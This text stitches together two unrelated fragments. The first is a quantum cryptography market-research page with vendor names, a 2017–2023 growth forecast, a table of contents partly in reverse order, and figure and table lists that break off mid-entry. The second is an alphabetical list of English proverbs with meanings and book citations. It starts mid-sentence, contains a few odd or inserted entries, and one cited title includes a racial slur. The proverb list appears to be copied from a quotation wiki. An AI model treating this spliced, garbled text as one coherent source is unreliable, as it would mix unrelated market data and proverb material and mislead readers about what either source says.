Subsequently, TechSci Research conducted primary research surveys with the identified companies. While interviewing, the respondents were also enquired about their competitors. TechSci Research further analyzed the product offerings or variants and regional presence of major Quantum Cryptography providers. Global Quantum Cryptography market is controlled by ID Quantique SA, MagiQ Technologies Inc., Quintessence Labs Pty Ltd., Qubitekk Inc., Qutools GmbH, Crypta Labs, NuCrypt LLC, QuNu Labs, SK Telecom and Toshiba Corporation, among others. To strategically profile leading players in the market which are driving the innovation and technological advancements in global quantum cryptography market. To analyze and forecast the market size, in terms of value for Global Quantum Cryptography market with respect to Component, Application, End-user, Region and Company. To identify the drivers and challenges for global quantum cryptography market. To scrutinize the detailed market segmentation and forecast the market size, in terms of value, on the basis of segmenting the global quantum cryptography market end-users into IT & Telecom, BFSI, Government & Defense and Others. To analyze and forecast global quantum cryptography market size, in terms of value. To define, segment, describe and forecast the global quantum cryptography market on the basis of component, enterprise, application, end-user, region and company. Objective of the Study: Years considered for this report: Global quantum cryptography market was valued at around $ 328 million in 2017 and is projected to grow at a CAGR of over 25% to surpass $ 1.2 billion by 2023. With growing IoT market, which encompasses IIoT, smart grids, smart cities, smart consumer wearables, smart appliances and smartphones, the need to secure data is also increasing, thereby paving way for quantum cryptography. Further, rising concerns for data security due to rapid surge in the number of cyber attacks over the past few years is expected to continue boosting the quantum cryptography market across the globe in the coming years. 15.2.4. Qubitekk, Inc. 15.2.3. Quintessence Labs Pty Ltd. 15.2.2. MagiQ Technologies, Inc. 12.6.2.1. By End-User 12.6.1.1. By Value 12.5.2.1. By End-User 12.5.1.1. By Value 12.4.2.1. By End-User 12.4.1.1. By Value 12.3.2.1. By End-User 12.3.1.1. By Value 12.2.4. By Country 12.2.3. By End-User 12.2.2. By Application 12.2.1. By Component 12.1.1. By Value 11.5.2.1. By End-User 11.5.1.1. By Value 11.4.2.1. By End-User 11.4.1.1. By Value 11.3.2.1. By End-User 11.3.1.1. By Value 11.2.4. By Country 11.2.3. By End-User 11.2.2. By Application 11.2.1. By Component 11.1.1. By Value 10.7.2.1. By End-User 10.7.1.1. By Value 10.6.2.1. By End-User 10.6.1.1. By Value 10.5.2.1. By End-User 10.5.1.1. By Value 10.4.2.1. By End-User 10.4.1.1. By Value 10.3.2.1. By End-User 10.3.1.1. By Value 10.2.4. By Country 10.2.3. By End-User 10.2.2. By Application 10.2.1. By Component 10.1.1. By Value 9.5.2.1. By End-User 9.5.1.1. By Value 9.4.2.1. By End-User 9.4.1.1. By Value 9.3.2.1. By End-User 9.3.1.1. By Value 9.1.1.By Value 8.7.2.1. By End-User 8.7.1.1. By Value 8.6.2.1. By End-User 8.6.1.1. By Value 8.5.2.1. By End-User 8.5.1.1. By Value 8.4.2.1. By End-User 8.4.1.1. By Value 8.3.2.1. By End-User 8.3.1.1. By Value 8.1.1.By Value 7.5. By Region 7.4. By End-User 7.3. By Application 7.2. By Enterprise 7.1. By Component 6.2.4.By End-User Sector (IT & Telecom, BFSI, Government & Defense and Others) 6.2.3.By Application (Database Encryption, Network Layer Encryption, Application Security and Others) 6.2.2.By Enterprise (Large and Small Enterprise) 6.2.1.By Component (Hardware and Service) 6.1.1.By Value 4.5. Quantum Cryptography Market Usage Share, By Expectations 4.4. Quantum Cryptography Market Usage Share, By Challenges 4.3. Quantum Cryptography Market Share, By Satisfaction Levels of End-Users 4.2. Quantum Cryptography Usage Share, By Purpose of Usage 4.1. Quantum Cryptography Usage Share, By Application 4. Voice of Customer List of Figures Figure 1: Quantum Cryptography Usage Share, By Application, 2017 (N=125) Figure 2: Quantum Cryptography Usage Share, By Purpose of Usage, 2017 (N=125) Figure 3: Quantum Cryptography Market Share, By Satisfaction Levels of End-Users, 2017 (N=125) Figure 4: Quantum Cryptography Market Usage Share, By Challenges, 2017 (N=125) Figure 5: Quantum Cryptography Market Usage Share, By Expectations, 2017 (N=125) Figure 6: Global Quantum Cryptography Market Size, By Value, 2013-2017 (USD Million) Figure 7: Global Quantum Cryptography Market Size, By Value, 2018E-2023F (USD Million) Figure 8: Global Quantum Cryptography Market Share, By Component, By Value, 2013-2023F Figure 9: Global Quantum Cryptography Market Share, By Enterprise, By Value, 2013-2023F Figure 10: Global Quantum Cryptography Market Share, By Application, By Value, 2013-2023F Figure 11: Global Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 12: Global Quantum Cryptography Market Share, By Region, By Value, 2013-2023F Figure 13: Global Quantum Cryptography Market Size, By Region, By Value, 2013–2017 (USD Million) Figure 14: Global Quantum Cryptography Market Size, By Region, By Value, 2018E–2023F (USD Million) Figure 15: Global Quantum Cryptography Market Share, By Company, By Value, 2013-2023F Figure 16: Global Quantum Cryptography Market Attractiveness Index, By Component, By Value, 2018E-2023F Figure 17: Global Quantum Cryptography Market Attractiveness Index, By Enterprise, By Value, 2018E-2023F Figure 18: Global Quantum Cryptography Market Attractiveness Index, By Application, By Value, 2018E-2023F Figure 19: Global Quantum Cryptography Market Attractiveness Index, By End-User, By Value, 2018E-2023FF Figure 20: Global Quantum Cryptography Market Attractiveness Index, By Region, By Value, 2018E-2023F Figure 21: Asia-Pacific Quantum Cryptography Market Size, By Value, 2013-2017 (USD Million) Figure 22: Asia-Pacific Quantum Cryptography Market Size, By Value, 2017-2023F (USD Million) Figure 23: Asia-Pacific Quantum Cryptography Market Share, By Component, By Value, 2013-2023F Figure 24: Asia-Pacific Quantum Cryptography Market Share, By Application, By Value, 2013-2023F Figure 25: Asia-Pacific Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 26: Asia-Pacific Quantum Cryptography Market Share, By Country, By Value, 2013-2023F Figure 27: China’s Share in Asia-Pacific Quantum Cryptography Market, By Value, 2017 & 2023F Figure 28: China Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 29: Japan’s Share in Asia-Pacific Quantum Cryptography Market, By Value, 2017 & 2023F Figure 30: Japan Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 31: Malaysia’s Share in Asia-Pacific Quantum Cryptography Market, By Value, 2017 & 2023F Figure 32: Malaysia Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 33: South Korea’s Share in Asia-Pacific Quantum Cryptography Market, By Value, 2017 & 2023F Figure 34: South Korea Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 35: Australia’s Share in Asia-Pacific Quantum Cryptography Market, By Value, 2017 & 2023F Figure 36: Australia Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 37: North America Quantum Cryptography Market Size, By Value, 2013-2017 (USD Million) Figure 38: North America Quantum Cryptography Market Size, By Value, 2018E-2023F (USD Million) Figure 39: North America Quantum Cryptography Market Share, By Component, By Value, 2013-2023F Figure 40: North America Quantum Cryptography Market Share, By Application, By Value, 2013-2023F Figure 41: North America Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 42: North America Quantum Cryptography Market Share, By Country, By Value, 2013-2023F Figure 43: United States' Share in North America Quantum Cryptography Market, By Value, 2017 & 2023F Figure 44: United States Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 45: Canada’s Share in North America Quantum Cryptography Market, By Value, 2017 & 2023F Figure 46: Canada Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 47: Mexico’s Share in North America Quantum Cryptography Market, By Value, 2017 & 2023F Figure 48: Mexico Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 49: Europe Quantum Cryptography Market Size, By Value, 2013-2017 (USD Million) Figure 50: Europe Quantum Cryptography Market Size, By Value, 2018E-2023F (USD Million) Figure 51: Europe Quantum Cryptography Market Share, By Component, By Value, 2013-2023F Figure 52: Europe Quantum Cryptography Market Share, By Application, By Value, 2013-2023F Figure 53: Europe Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 54: Europe Quantum Cryptography Market Share, By Country, By Value, 2013-2023F Figure 55: United Kingdom’s Share in Europe Quantum Cryptography Market, By Value, 2017 & 2023F Figure 56: United Kingdom Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 57: Germany’s Share in Europe Quantum Cryptography Market, By Value, 2017 & 2023F Figure 58: Germany Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 59: France’s Share in Europe Quantum Cryptography Market, By Value, 2017 & 2023F Figure 60: France Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 61: Italy’s Share in Europe Quantum Cryptography Market, By Value, 2017 & 2023F Figure 62: Italy Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 63: Spain’s Share in Europe Quantum Cryptography Market, By Value, 2017 & 2023F Figure 64: Spain Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 65: South America Quantum Cryptography Market Size, By Value, 2013-2017 (USD Million) Figure 66: South America Quantum Cryptography Market Size, By Value, 2018E-2023F (USD Million) Figure 67: South America Quantum Cryptography Market Share, By Component, By Value, 2013-2023F Figure 68: South America Quantum Cryptography Market Share, By Application, By Value, 2013-2023F Figure 69: South America Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 70: South America Quantum Cryptography Market Share, By Country, By Value, 2013-2023F Figure 71: Brazil’s Share in South America Quantum Cryptography Market, By Value, 2017 & 2023F Figure 72: Brazil Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 73: Argentina’s Share in South America Quantum Cryptography Market, By Value, 2017 & 2023F Figure 74: Argentina Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 75: Colombia’s Share in South America Quantum Cryptography Market, By Value, 2017 & 2023F Figure 76: Colombia Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 77: Middle East & Africa Quantum Cryptography Market Size, By Value, 2013-2017 (USD Million) Figure 78: Middle East & Africa Quantum Cryptography Market Size, By Value, 2018E-2023F (USD Million) Figure 79: Middle East & Africa Quantum Cryptography Market Share, By Component, By Value, 2013-2023F Figure 80: Middle East & Africa Quantum Cryptography Market Share, By Application, By Value, 2013-2023F Figure 81: Middle East & Africa Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 82: Middle East & Africa Quantum Cryptography Market Share, By Country, By Value, 2013-2023F Figure 83: UAE’s Share in Middle East & Africa Quantum Cryptography Market, By Value, 2017 & 2023F Figure 84: UAE Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 85: Saudi Arabia’s Share in Middle East & Africa Quantum Cryptography Market, By Value, 2017 & 2023F Figure 86: Saudi Arabia Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 87: Qatar’s Share in Middle East & Africa Quantum Cryptography Market, By Value, 2017 & 2023F Figure 88: Qatar Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F Figure 89: South Africa’s Share in Middle East & Africa Quantum Cryptography Market, By Value, 2017 & 2023F Figure 90: South Africa Quantum Cryptography Market Share, By End-User, By Value, 2013-2023F List of Tables Table 1: Global Quantum Cryptography Market Size, By Component, By Value, 2013–2017 (USD Million) Table 2: Global Quantum Cryptography Market Size, By Component, By Value, 2018E–2023F (USD Million) Table 3: Global Quantum Cryptography Market Size, By Enterprise, By Value, 2013–2017 (USD Million) Table 4: Global Quantum Cryptography Market Size, By Enterprise, By Value, 2018E–2023F (USD Million) Table 5: Global Quantum Cryptography Market Size, By Application, By Value, 2013–2017 (USD Million) Table 6: Global Quantum Cryptography Market Size, By Application, By Value, 2018E–2023F (USD Million) Table 7: Global Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 8: Global Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 9: Asia-Pacific Quantum Cryptography Market Size, By Component, By Value, 2013–2017 (USD Million) Table 10: Asia-Pacific Quantum Cryptography Market Size, By Component, By Value, 2018E–2023F (USD Million) Table 11: Asia-Pacific Quantum Cryptography Market Size, By Application, By Value, 2013–2017 (USD Million) Table 12: Asia-Pacific Quantum Cryptography Market Size, By Application, By Value, 2018E–2023F (USD Million) Table 13: Asia-Pacific Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 14: Asia-Pacific Quantum Cryptography Market Size, By End-User, By Value, 2018E-2023F (USD Million) Table 15: China Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 16: China Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 17: China Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 18: Japan Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 19: Japan Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 20: Japan Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 21: Malaysia Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 22: Malaysia Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 23: Malaysia Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 24: South Korea’s Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 25: South Korea Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 26: South Korea Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 27: Australia Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 28: Australia Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 29: Australia Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 30: North America Quantum Cryptography Market Size, By Component, By Value, 2013–2017 (USD Million) Table 31: North America Quantum Cryptography Market Size, By Component, By Value, 2018E–2023F (USD Million) Table 32: North America Quantum Cryptography Market Size, By Application, By Value, 2013–2017 (USD Million) Table 33: North America Quantum Cryptography Market Size, By Application, By Value, 2018E–2023F (USD Million) Table 34: North America Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 35: North America Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 36: United States Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 37: United States Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 38: United States Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 39: Canada Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 40: Canada Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 41: Canada Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 42: Mexico Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 43: Mexico Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 44: Mexico Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 45: Europe Quantum Cryptography Market Size, By Component, By Value, 2013–2017 (USD Million) Table 46: Europe Quantum Cryptography Market Size, By Component, By Value, 2018E–2023F (USD Million) Table 47: Europe Quantum Cryptography Market Size, By Application, By Value, 2013–2017 (USD Million) Table 48: Europe Quantum Cryptography Market Size, By Application, By Value, 2018E–2023F (USD Million) Table 49: Europe Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 50: Europe Quantum Cryptography Market Size, By End-User, By Value, 2018E–2023F (USD Million) Table 51: United Kingdom Quantum Cryptography Market Size, By Value, 2013 - 2023F (USD Million) Table 52: United Kingdom Quantum Cryptography Market Size, By End-User, By Value, 2013–2017 (USD Million) Table 53: United Kingdom
By acting too hastily or doings too hurriedly you risk causing damage or making mistakes that subsequently have to be put right." Source for meaning: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 115. ISBN 978-0-8160-6673-5. Hawks will not pick out Hawk's eyes. (Speake, 2009) Have [ edit ] He that can have patience can have what he will. (Strauss, 1994 p. 87) Head [ edit ] He that hath a head of wax must not walk in the sun. (Ward, 1842 p. 54) Two heads are better than one. We should not expect to find old heads on young shoulders. (Strauss, 1994 p. 77) Variant: You can't put an old head on young shoulders. "The advice of the elders to young men is very apt to be as unreal as a list of the hundred best books." Oliver Wendell Holmes, Jr., "The Path of Law" 10 Harvard Law Review 457 (1897). When the head is sick, the whole body is sick. (Strauss, 1994 p. 1117) Who falls short in the head must be long in the heels. Strauss, Emanuel (1994). "149". Dictionary of European Proverbs. I. Routledge. p. 140. ISBN 978-1-134-86460-7. Health is wealth. Manser, M. (2006). The Wordsworth dictionary of proverbs, Wordsworth Editions, Limited. p. 273 A man too busy to take care of his health is like a mechanic too busy to take care of his tools. The heart sees farther than the head. "Trust your instincts." Julia Louis-Dreyfus, How She Broke the Seinfeld Curse, Redbook Magazine (2010) Hedge [ edit ] A hedge between keeps friends green. (Strauss, 1998 p. 68) It is best to have some sort of wall towards your neighbours. Men leap over where the hedge is lower. (Strauss, 1994 p. 1087) "This is slavery, not to speak one’s thought." Line 392 (Jocasta); translated by Elizabeth Wyckoff; as found in Euripides IV: Helen, The Phoenician Women, Orestes, ed. Griffith, Most, Grene & Lattimore, University of Chicago Press (2013), p. 114 Proverbs of All Nations. W. Kent & Company (late D. Bogue). 1859. p. 59. Every little helps. "All contributions, however small, are of use." Source for meaning: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 77. ISBN 978-0-8160-6673-5. Hesitation [ edit ] He who hesitates is lost. "The opportunity is often lost by deliberating." Syrus, Maxims. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 492 Hindsight is always twenty-twenty. 20-20 refers to perfect vision. It is easy to be prudent in hindsight. Brenner, Gail Abel (2003). Concise dictionary of European proverbs. Wiley. p. 284. 0764524771. History repeats itself. (Strauss, 1994 p. 977) "Lack of foresight, unwillingness to act when action would be simple and effective, lack of clear thinking, confusion of counsel until the emergency comes, until self-preservation strikes its jarring gong—these are the features which constitute the endless repetition of history." Winston Churchill, speech, House of Commons (1935) Hole [ edit ] If you're in a hole, stop digging. (Speake 2009, p. 388) "When you have landed yourself in trouble, such as through a foolish remark or action, do not say or do anything to make it worse." As "If you are in a hole, stop digging." Moore, Merton (December 4, 1920). "Stop Digging—Climb". Holstein-Friesian World XVII (49): 34. Retrieved on 2018-11-11. Home [ edit ] Home is where the heart is. There's no place like home. Home sweet home. Manser, Martin H. (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 266. ISBN 978-0-8160-6673-5. A home is not home without mom Who lives by hope will die of hunger. (Strauss 1994, p. 952) All things are soon prepared in a well ordered house. The Family Economist: A Penny Monthly Magazine. Groombridge and sons.. 1850. p. 2. People who live in glass houses shouldn't throw stones. Variation: Whose house is of glass, must not throw stones at another. George Herbert, Outlandish Proverbs, 1640; cited in "Proverbs 120". The Yale Book of Quotations. 2006. pp. p. 613. ISBN 0-300-10798-6. George Herbert, Jacula Prudentum, 1651, number 196 When ever you're sad think about AlIce Cream. * = Alice Jörgen Svensson Admiration is the daughter of ignorance. "I am firmly convinced, as I have already said, that to effect any great social improvement, it is sympathy rather than self-interest, the sense of duty rather than the desire for self-advancement, that must be appealed to. Envy is akin to admiration, and it is the admiration that the rich and powerful excite which secures the perpetuation of aristocracies." Henry George, Social Problems, Chapter 21: Conclusion (1883). Martin H. Manser (2007), The Facts on File Dictionary of Proverbs, Infobase Publishing, p. 2, ISBN 978-0-8160-6673-5 Ignorance is bliss. "Books are good enough in their own way, but they are a mighty bloodless substitute for life." Robert Louis Stevenson, "An Apology for Idlers", Virginibus Puerisque and Later Essays (1881), p. 80. The ignorant always adore what they cannot understand. Where ignorance is bliss, 'tis folly to be wise. Imagination comes before Creation. (Dr.Shaikh Tanveer Ahmed CE HANDS) Insanity is doing the same thing over and over, expecting different results. Don't do the same thing repeatedly, and expect a different outcome. Mieder, Wolfgang (2012). The Dictionary of Modern Proverbs. Yale University Press. pp. 312. ISBN 0300136021. Don't have too many irons in the fire. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 588 Iron sharpens iron. (Whiting, 1997 p. 235) Strike while the iron is hot. or Make hay while the sun shines. "Take advantage of an opportunity when it presents itself, before it passes away. A good opportunity is usually a rare coincidence of various factors, unlikely to be repeated." (Paczolay, 1997 p. 109) George Farquhar, The Beaux' Stratagem, Act IV, scene 2; reported as a proverb in Hoyt's New Cyclopedia Of Practical Quotations (1922), p. 642. Walter Scott, The Fair Maid of Perth, Chapter V. Webster, Westward Ho, III. 2. Geoffrey Chaucer, Troylus and Cresseyde, Book II, Stanza 178. No man is an island. "The ideas of economists and political philosophers, both when they are right and when they are wrong, are more powerful than is commonly understood. Practical men, who believe themselves to be quite exempt from any intellectual influence, are usually the slaves of some defunct economist. " John Maynard Keynes, The General Theory of Employment, Interest and Money, (1936) Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 204. ISBN 978-0-8160-6673-5. If a job is worth doing, it is worth doing well. Manser, M. (2006). The Wordsworth dictionary of proverbs, Wordsworth Editions, Limited. p. 133 Joy shared, joy doubled: sorrow shared, sorrow halved. (Strauss, 1994 p. 249) Hasty judgment leads to repentance. (Strauss, 1994 p. 196) A quick evaluation is a terrible evaluation. Justice delayed is justice denied. (Legal Proverb, India) (Speake, 2009) Justice pleaseth few in their own house. Kindness [ edit ] Kindness, like grain, increases by sowing. Keeping [ edit ] Keep your friends close, but your enemies closer. Spending time among an enemy will help you recognize his weak spots. This might give the false impression that your enemies are your friends. Matthews, Chris (1999). Hardball: How Politics Is Played Told By One Who Knows The Game (revisada, reimpresa ed.). Simon and Schuster. p. 91. ISBN 0684845598. Kill [ edit ] Kill your darlings. Remove the favorite parts of your work. Blacker (2001). Kill Your Darlings: A Novel. St. Martin's Press. A good mind possesses a kingdom. (Strauss, 1998 p. 58) Material assets are fleeting, but intellectual assets will basically stay with you for the rest of your life. Therefore, intellectual assets are much more worth than material ones. Kitchen [ edit ] If you can't take the heat, get out of the kitchen. "If you cannot cope with the pace or stress, as in a competitive industry or in a position of high office, then you should leave or resign." Source for meaning: Manser, Martin H. (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 138. ISBN 978-0-8160-6673-5. Ammer, Christine (1997). The American Heritage Dictionary of Idioms. Houghton Mifflin Harcourt. p. 640. ISBN 039572774X. Lady [ edit ] Faint heart never won fair lady. "It is necessary to be bold and courageous to win the heart of a woman – or to achieve any other cherished objective." Source for meaning of English equivalent: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 84. ISBN 978-0-8160-6673-5. Mawr, E.B. (1885). Analogous Proverbs in Ten Languages. p. 30. It ain't over till the fat lady sings. Joan is as good as my lady in the dark. Knowledge is power. (17th Century) (Speake, 2009) KNOWLEDGE IS OUR LIFE… In the land of the blind, the one-eyed man is king. (Speake, 2009) Lane [ edit ] It's a long lane that has no turning. That's not good language that all understand not. John Warner Barber (1855). The Hand Book of Illustrated Proverbs: Comprising Also a Selection of Approved Proverbs of Various Nations and Languages, Ancient and Modern. Bradley. p. 30. He laughs best who laughs last. "Do not celebrate prematurely while something is not yet achieved finally. - Unforeseen developments often lead to a less favourable final result." (Paczolay, 1997 p. 395) Laugh and the world laughs with you, cry and you cry alone. * "[Humanity]] has advanced, when it has advanced, not because it has been sober, responsible and cautious, but because it has been playful, rebellious, and immature." Tom Robbins, Still Life with Woodpecker (1980) Manser, M. (2006). The Wordsworth dictionary of proverbs, Wordsworth Editions, Limited. p. 325 Laws catch flies, but lets hornets go free. "It is far more important the law should be administered with absolute integrity, than that in this case or in that the law should be a good law or a bad one." John Duke Coleridge, Reg. v. Ramsey (1883), Cababe and Ellis' Q. B. D. Rep. 134. Caroline Ward (1842). National Proverbs in the Principal Languages of Europe. J.W. Parker. p. 75. Lemon [ edit ] If life gives you lemons, make lemonade. (Speake, 2009) If you have had many bad experiences, make something good out of it. Less [ edit ] Lie [ edit ] A lie can be halfway around the world before the truth gets its boots on. Life begins at forty. "The past is never dead. It's not even past." New York State Society of Certified Public Accountants (1897). Year Book. The Society. William Faulkner, Requiem for a Nun (1951) Life imitates art. "Play! Invent the world! Invent reality!" Vladimir Nabokov, in Look at the Harlequins! (1974) Bloom, H. (2007). Arthur Miller, Bloom's Literary Criticism. Life is ten percent what happens to you and ninety percent how you respond to it. Unknown origin, though sometimes attributed to Lou Holtz or Chuck Swindoll Life is what you make of it. "There is no fate that plans men's lives. Whatever comes to us, good or bad, is usually the result of our own action or lack of action." Herbert N. Casson cited in: Forbes magazine (1950) The Forbes scrapbook of Thoughts on the business of life. p. 218 Life's battles don't always go to the stronger or faster man, but sooner or later the man who wins is the one who thinks he can. Lucier, T. J. (2005). How to make money with real estate options: low-cost, low-risk, high-profit strategies for controlling undervalued property-- without the burdens of ownership!, Wiley. Look on the sunny side of life. The best things in life are free. (Speake, 2009) I wonder the limits of the skies above, None too much than the skies inside, I often find myself looking back in the past, Its then, that I realize,I've been a good teacher to myself. -(Tanishq Sharma, The Stalemate)[1] Lightning never strikes twice in the same place. "The same unpleasant or unexpected phenomenon will not recur in the same place or circumstances, or happen to the same person again; a superstition that often leads to a false sense of security." Source for meaning: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 169. ISBN 978-0-8160-6673-5. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 634 Like [ edit ] Like cures like. (Strauss, 1994 p. 648) "The best remedy for a disease or affliction is something that is capable of causing the same condition." Source for meaning: Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 169. ISBN 978-0-8160-6673-5. Like father, like son. (Speake, 2009) Linen [ edit ] Don't wash your dirty linen in public. (Strauss, 1994 p. 702) Don't speak ill of yourself and the groups you belong to. Little [ edit ] Little by little and bit by bit. Many incremental changes will after some time transform what is pathetic into something grand. Dickens, Charles (1867). Nicholas Nickleby, Volumes 1-4. Hurd & Houghton. p. 145. 0814412947. A little knowledge is a dangerous thing. "I don't think the thing is to be well known, but being worth knowing." Robert Fulghum. Interview, "Robert Fulghum : Philosopher King" by Linda Richards at January magazine Living [ edit ] Live and let live. "The problem with people who have no vices is that generally you can be pretty sure they're going to have some pretty annoying virtues." Elizabeth Taylor, as quoted in The Seven Deadly Sins (2000) by Steven Schwartz, p. 23. John Ray; John Belfour (1813). A complete collection of English proverbs: also, the most celebrated proverbs of the Scotch, Italian, French, Spanish, and other languages. G. Cowie and co.. pp. 134–. Look [ edit ] Look before you leap. (Speake, 2009) Think before you act. Look on the sunny side of life. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 788 Loose [ edit ] Loose lips sink ships. Eugene, D. (2002). 20 Good Reasons to Stay Sober, Booksurge Llc. All is not lost that is in danger. (Ward, 1842 p. 11) All-tough your undertaking is in peril, it does not necessarily mean you are failing. Use it or lose it. Love is blind. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 657 Love is like war, Easy to start, Hard to end, Impossible to forget. Kumar, E. S. The Unofficial Joke book of New SMS, Diamond Pocket Books (P) Ltd. Love laughs at locksmiths. If you love somebody, let them go, for if they return, they were always yours. And if they don't, they never were. Israel, Yahdon (2009). Show Me a Nigger and I'll Show You a Racist: The Mind of a Psychopathic Genius. AuthorHouse. p. 100. ISBN 1438976607. It's better to have loved and lost than never to have loved at all. (Speake, 2009) love is life, life is love. = [2] Lunch [ edit ] There's no such thing as a free lunch. Make [ edit ] Make the best of a bad bargain. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710. A man's home is his castle. William Blackstone refers to this traditional proverb in Commentaries on the Laws of England (1765–1769), Book 4, Chapter 16: And the law of England has so particular and tender a regard to the immunity of a man's house, that it stiles it his castle, and will never suffer it to be violated with immunity: agreeing herein with the sentiments of ancient Rome, as expressed in the works of Tully; quid enim sanctius, quid omni religione munitius, quam domus unusquisque civium? Translation: What more sacred, what more strongly guarded by every holy feeling, than a man's own home? Cometh the hour cometh the man. A man's worst enemies are often those of his own house. (Strauss, 1994 p. 52) Good men are hard to find. The way to a man's heart is through his stomach. Manser, M. (2006). The Wordsworth dictionary of proverbs, Wordsworth Editions, Limited. p. 272 Manners maketh the man. We are what we do. 'Manners makyth man' - the motto of William of Wykeham(1320 - 1404) Wise men learn by other men's harms, fools by their own. (Strauss, 1998 p. 34) Ne'er cast a clout till May be out. Many [ edit ] Many a mickle makes a muckle. Many small parts will eventually create something impressive. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 698 Many things are lost for want of asking. A young man married is a young man marred. "Freedom is the very essence of life, the creator of every new outlook." Rudolf Rocker, Anarcho-Syndicalism (1938) Martin H. Manser (2007). The Facts on File Dictionary of Proverbs. Infobase Publishing. p. 317. ISBN 978-0-8160-6673-5. Marry in haste, and repent at leisure. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 463 Measure [ edit ] Measure twice, cut once. "Impetuous schemes and boldness is at first sight alluring, but difficult to handle, and in its result disastrous. " Livy, Ab Urbe Condita Libri Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 171 Repetition is the mother of memory. (Rowlingson, 1919 p. 15) Mend [ edit ] It's never too late to mend. It is never to late to do what we wish we would have done when we were younger. Mieder, Wolfgang; Kingsbury, Stewart A.; Harder, Kelsie B. (1992). A Dictionary of American proverbs. pp. 710., p. 602 Men talk only to conceal the mind. (Strauss 1994, p. 1088) Mind your own business. (Strauss, 1998 p. 719) Mind your 